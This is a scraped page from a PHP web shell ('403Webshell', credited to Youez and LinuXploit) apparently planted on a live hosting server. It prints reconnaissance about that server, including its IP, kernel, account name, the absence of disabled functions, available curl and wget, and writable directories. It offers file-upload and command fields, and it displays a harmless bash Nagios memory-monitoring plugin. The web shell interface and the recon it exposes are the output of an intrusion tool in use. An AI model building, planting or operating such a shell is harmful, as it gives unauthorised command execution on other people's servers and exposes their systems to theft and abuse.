403Webshell
Server IP : 192.250.235.158  /  Your IP : 216.73.216.143
Web Server : LiteSpeed
System : Linux s4099.sgp1.stableserver.net 5.14.0-503.21.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Jan 12 09:45:05 EST 2025 x86_64
User : vmxfzbqj ( 1905)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/a2_user_mem.shared
#!/bin/bash

LOG_FILE="/var/log/memory_usage_user.log"
DATE=$(date "+%Y-%m-%d %H:%M:%S")

get_memory_faults() {
  local faults_output=$(lveinfo  -d --period 1d --by-fault pmem --show-columns id,PMemF -j)

  if [ "$faults_output" ]; then
    echo "$faults_output" | jq -r --arg date "$DATE" '.data[] | "\($date) \(.ID): \(.PMemF) faults"' >> $LOG_FILE
  fi
}

calculate_average_memory() {
  local json_output=$(lveinfo --order-by pmem_avg --limit 10 -d --show-columns aPMem,id -j)

    # Check if the data array in the JSON output is empty
    if [ "$(echo "$json_output" | jq '.data | length')" -gt 0 ]; then
    # Get sum and count of aPMem
      local sum=$(echo "$json_output" | jq '[.data[].aPMem] | add')
      local count=$(echo "$json_output" | jq '.data | length')
      local bytes_to_gb=1073741824  # 1024*1024*1024
      # Calculate the average in GB
      local average=$(echo "scale=2; $sum / $count / $bytes_to_gb" | bc)
      echo "avg_top_10_user_mem=${average} Top 10 user's average memory usage: ${average} GB"
      exit 0
    else
      echo "No data to calculate average"
      exit 1
    fi
}

calculate_average_memory
get_memory_faults

Youez - 2016 - github.com/yon3zu
LinuXploit